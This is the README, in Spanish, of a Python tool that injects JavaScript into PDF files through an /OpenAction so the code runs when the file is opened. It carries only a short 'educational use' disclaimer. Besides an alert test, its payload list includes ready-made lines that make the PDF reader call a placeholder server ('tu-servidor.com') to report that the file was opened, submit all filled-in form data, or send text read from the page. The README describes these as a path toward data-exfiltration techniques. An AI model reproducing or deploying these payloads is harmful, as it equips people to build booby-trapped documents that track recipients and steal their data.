Esta es una herramienta de línea de comandos escrita en Python que permite inyectar payloads de JavaScript en archivos .pdf. El script funciona añadiendo una acción /OpenAction al catálogo del PDF, lo que provoca que el código JavaScript se ejecute tan pronto como el archivo es abierto en un lector de PDF compatible.
ADVERTENCIA: Esta herramienta está diseñada exclusivamente para fines educativos y para ser utilizada en sistemas donde se tenga autorización explícita. El uso no autorizado de esta herramienta contra sistemas ajenos es ilegal.
-
Inyección Limpia: Utiliza la librería
pikepdfpara manipular la estructura del PDF sin corromper el archivo ni alterar su contenido visible. -
Payloads Versátiles: Permite inyectar cualquier código JavaScript compatible con la API de Adobe, facilitando desde simples pruebas de concepto hasta complejas técnicas de exfiltración de datos.
-
Fácil de Usar: Interfaz de comandos simple con ejemplos claros integrados en la ayuda del script.
-
Python 3: Asegúrate de tener Python 3 instalado en tu sistema.
-
Instalar
pikepdf: Esta herramienta depende de la libreríapikepdf. Puedes instalarla fácilmente usando pip:pip install pikepdf -
Descargar el script: Guarda el archivo
pdf_injector.pyen tu máquina.
La estructura básica del comando es la siguiente:
python3 pdf_injector.py -i <archivo_entrada.pdf> -o <archivo_salida.pdf> -js "<payload_javascript>"
| Argumento | Atajo | Descripción | Requerido |
|---|---|---|---|
--input |
-i |
El archivo .pdf original que se usará como base. |
Sí |
--output |
-o |
El nombre del nuevo archivo .pdf que contendrá el payload. |
Sí |
--javascript |
-js |
El código JavaScript que se inyectará, entre comillas. | Sí |
A continuación se muestran diferentes payloads que puedes usar, desde los más simples hasta los más avanzados.
Ideal para una prueba rápida y confirmar que la inyección funcionó.
-js "app.alert('Hola desde JavaScript!');"
Compatibilidad: Funciona en la mayoría de los lectores, incluyendo los visores de navegador como el de Chrome.
Fuerza al lector de PDF a realizar una petición web a tu servidor. Útil para confirmar si un archivo fue abierto.
-js "app.launchURL('http://tu-servidor.com/pdf_abierto');"
Compatibilidad: Requiere un lector de PDF de escritorio (ej. Adobe Acrobat Reader) y la aprobación del usuario en una advertencia de seguridad. No funciona en visores de navegador.
Si el PDF es un formulario, este payload enviará todos los datos completados a tu servidor.
-js "this.submitForm('http://tu-servidor.com/captura_de_datos');"
Compatibilidad: Requiere un lector de PDF de escritorio y la aprobación del usuario.
Lee una palabra específica del contenido del PDF y la envía a tu servidor.
# Envía la 10ª palabra (índice 9) de la 1ª página (índice 0)
-js "var palabra = this.getPageNthWord(0, 9); app.launchURL('http://tu-servidor.com/?p=' + palabra);"
Compatibilidad: Requiere un lector de PDF de escritorio y la aprobación del usuario.
La ejecución de JavaScript en PDFs depende en gran medida del software que se utilice para abrirlos.
-
Visores de Navegador (Chrome, Firefox, Edge): Son muy seguros y restrictivos. Generalmente, solo permiten acciones inofensivas como
app.alert(). Las funciones que acceden a recursos externos (app.launchURL,submitForm) son bloqueadas por seguridad. -
Lectores de Escritorio (Adobe Acrobat Reader): Tienen más capacidades y pueden ejecutar payloads más complejos. Sin embargo, casi siempre mostrarán una advertencia de seguridad al usuario antes de realizar una acción potencialmente peligrosa, como contactar un servidor externo.